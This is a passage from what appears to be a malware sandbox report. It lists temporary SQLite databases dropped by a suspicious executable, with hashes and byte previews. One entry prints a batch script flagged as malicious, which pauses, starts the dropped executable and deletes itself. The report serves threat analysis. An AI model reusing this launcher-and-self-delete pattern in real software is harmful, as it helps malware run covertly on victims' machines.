SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8uOPsIiGam

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9LgHdQQprP

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9LqXZ28Iw7

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9bnWaPcin3

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A1TFZZJJRd

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AceCMbnTwV

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B2aVM0AQeM

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BEk0Tp8VvU

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BRG0tryu6a

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BpR7mp6RBA

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Bwim4cRKVe

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BxXVvEEZNU

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CGX9FIzp3N

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLxz6W3qZo

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DTGhzPNlWW

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DzeZmPzDYh

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E4HLZxRn9q

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EJqYxdF6Mf

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EdkCnqQzJc

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F1MI93RucV

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F2wjeQtjse

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.34176678251691
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m7ohR8mUTNHyBktKcKZG1t+kiE2J5xAIKW6k:hCRLuVFOOr+DE793VyKOZG1wkn23f36k
MD5:	0AC9B700B0E907FD3F32D9FAF839C200
SHA1:	54EA89E3A187503D76CBC0A968EDB4029E770EA7
SHA-256:	9B6E424A315CE41B828D941FA109E1FBA8087146853C6F61C2444F1AB431FF71
SHA-512:	D50C3DDEE7EA223CE7CC3CA40E34DE5AC664D9A0A5EC92A57189D104EBD585C4AD41959F24F41E9047259C7CE8A64038510C28A60FAC13C67413D73FAA116FE8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\FAUFRY6lcW.bat"

C:\Users\user\AppData\Local\Temp\FbecIXzrRx

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FyEZ3enody

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GIAJ7KiBw2

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GXALg59jCY

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
